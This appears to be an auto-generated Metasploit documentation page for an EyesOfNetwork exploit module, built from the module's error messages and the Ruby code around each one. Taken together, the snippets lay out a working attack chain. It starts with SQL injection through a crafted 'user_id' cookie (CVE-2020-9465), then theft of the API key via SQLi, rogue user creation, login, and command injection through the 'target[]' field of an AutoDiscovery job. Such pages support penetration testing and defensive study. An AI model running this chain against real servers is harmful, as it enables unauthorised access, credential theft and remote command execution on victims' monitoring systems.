170:	        'cookie' => "user_id=' union select #{payload} -- ;"
171:	      })
172:	      fail_with Failure::Unreachable, 'Connection failed' unless res
173:	    end
174:	
175:	    # check if target is vulnerable to CVE-2020-9465
176:	
177:	    unless @sqli.test_vulnerable

The target does not seem vulnerable. You could try increasing the value of the advanced option "SqliDelay".


Here is a relevant code snippet related to the "The target does not seem vulnerable. You could try increasing the value of the advanced option "SqliDelay"." error message:

173:	    end
174:	
175:	    # check if target is vulnerable to CVE-2020-9465
176:	
177:	    unless @sqli.test_vulnerable
178:	      fail_with Failure::NotVulnerable, 'The target does not seem vulnerable. You could try increasing the value of the advanced option "SqliDelay".'
179:	    end
180:	
181:	    print_good 'The target seems vulnerable.'
182:	
183:	    # Check if the admin user has a session opened, which is required for this exploit to work

The admin user has no active sessions.


Here is a relevant code snippet related to the "The admin user has no active sessions." error message:

182:	
183:	    # Check if the admin user has a session opened, which is required for this exploit to work
184:	    admin_sessions = @sqli.run_sql('select if((select count(*) from sessions where user_id = 1) > 0,1,0)', output_charset: ('0' .. '1'))
185:	
186:	    if admin_sessions != '1'
187:	      fail_with Failure::NoAccess, 'The admin user has no active sessions.'
188:	      return
189:	    end
190:	
191:	    print_status 'Verified that the admin user has at least one active session.'
192:	

Connection failed.


Here is a relevant code snippet related to the "Connection failed." error message:

218:	        'password'   => fake_pass
219:	      }
220:	    })
221:	
222:	    unless api_res
223:	      print_error('Connection failed.')
224:	      return
225:	    end
226:	
227:	    unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
228:	      print_error("SQL injection to obtain API key failed")

SQL injection to obtain API key failed


Here is a relevant code snippet related to the "SQL injection to obtain API key failed" error message:

223:	      print_error('Connection failed.')
224:	      return
225:	    end
226:	
227:	    unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
228:	      print_error("SQL injection to obtain API key failed")
229:	      return
230:	    end
231:	
232:	    api_res.get_json_document()['EONAPI_KEY']
233:	  end

Failed to create user: Connection failed.


Here is a relevant code snippet related to the "Failed to create user: Connection failed." error message:

250:	      },
251:	      'data' => vars_post.to_json
252:	    })
253:	
254:	    unless res
255:	      print_warning("Failed to create user: Connection failed.")
256:	      return
257:	    end
258:	
259:	    return res
260:	  end

Removing user <USER> failed: Connection failed


Here is a relevant code snippet related to the "Removing user <USER> failed: Connection failed" error message:

282:	      'data'     => { user_name: user }.to_json,
283:	      'vars_get' => { apiKey: @api_key, username: @api_user }
284:	    })
285:	
286:	    unless res
287:	      print_warning 'Removing user #{user} failed: Connection failed'
288:	      return
289:	    end
290:	
291:	    res
292:	  end

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

302:	        mdp: pass
303:	      }
304:	    })
305:	
306:	    unless res
307:	      fail_with Failure::Unreachable, 'Connection failed'
308:	    end
309:	
310:	    unless res.code == 200 && res.body.include?('dashboard_view')
311:	      fail_with Failure::NoAccess, 'Authentication failed'
312:	    end

Authentication failed


Here is a relevant code snippet related to the "Authentication failed" error message:

306:	    unless res
307:	      fail_with Failure::Unreachable, 'Connection failed'
308:	    end
309:	
310:	    unless res.code == 200 && res.body.include?('dashboard_view')
311:	      fail_with Failure::NoAccess, 'Authentication failed'
312:	    end
313:	
314:	    print_good "Authenticated as user #{user}"
315:	
316:	    @cookie = res.get_cookies

Failed to retrieve cookies


Here is a relevant code snippet related to the "Failed to retrieve cookies" error message:

314:	    print_good "Authenticated as user #{user}"
315:	
316:	    @cookie = res.get_cookies
317:	
318:	    if @cookie.empty?
319:	      fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
320:	    end
321:	
322:	    res
323:	  end
324:	

Creating AutoDiscovery job failed: Connection failed


Here is a relevant code snippet related to the "Creating AutoDiscovery job failed: Connection failed" error message:

338:	        'target[]'         => cmd
339:	      }
340:	    })
341:	
342:	    unless res
343:	      fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
344:	    end
345:	
346:	    unless res.body.include? 'Starting...'
347:	      fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
348:	    end

Creating AutoDiscovery job failed: Job failed to start


Here is a relevant code snippet related to the "Creating AutoDiscovery job failed: Job failed to start" error message:

342:	    unless res
343:	      fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
344:	    end
345:	
346:	    unless res.body.include? 'Starting...'
347:	      fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
348:	    end
349:	
350:	    res
351:	  end
352:	

Removing AutoDiscovery job <JOB_ID> failed: Connection failed


Here is a relevant code snippet related to the "Removing AutoDiscovery job <JOB_ID> failed: Connection failed" error message:

362:	        delete: 1
363:	      }
364:	    })
365:	
366:	    unless res
367:	      print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
368:	      return
369:	    end
370:	    res
371:	  end
372:	

Could not retrieve AutoDiscovery job ID. Manual removal required.


Here is a relevant code snippet related to the "Could not retrieve AutoDiscovery job ID. Manual removal required." error message:

386:	    return unless res
387:	
388:	    job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first
389:	
390:	    if job_id.empty?
391:	      print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
392:	      return
393:	    end
394:	    delete_autodiscovery_job job_id
395:	  end
396:	

Generated API key does not match.


Here is a relevant code snippet related to the "Generated API key does not match." error message:

418:	
419:	      api = true #used to check if any of the 2 api exploits work. If not, CVE-2020-9465 is attempted
420:	      unless verify_api_key(create_res)
421:	        @api_key = sqli_to_api_key
422:	        if @api_key
423:	          print_error("Generated API key does not match.")
424:	          print_status("Using API key obtained via SQL injection: #{@api_key}")
425:	          sqli_verify = create_eon_user @username, @password
426:	          api = false unless verify_api_key(sqli_verify)
427:	        else
428:	          api = false

Failed to obtain valid API key.


Here is a relevant code snippet related to the "Failed to obtain valid API key." error message:

434:	        login @username, @password
435:	        unless @cookie.include? 'group_id='
436:	          @cookie << "; group_id=#{admin_group_id}"
437:	        end
438:	      else
439:	        print_error("Failed to obtain valid API key.")
440:	        print_status("Attempting exploitation using CVE-2020-9465.")
441:	        sqli_to_admin_session
442:	      end
443:	    end
444:	

Go back to menu.


References


Authors


  • Clément Billac
  • bcoles
  • Erik Wynter

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.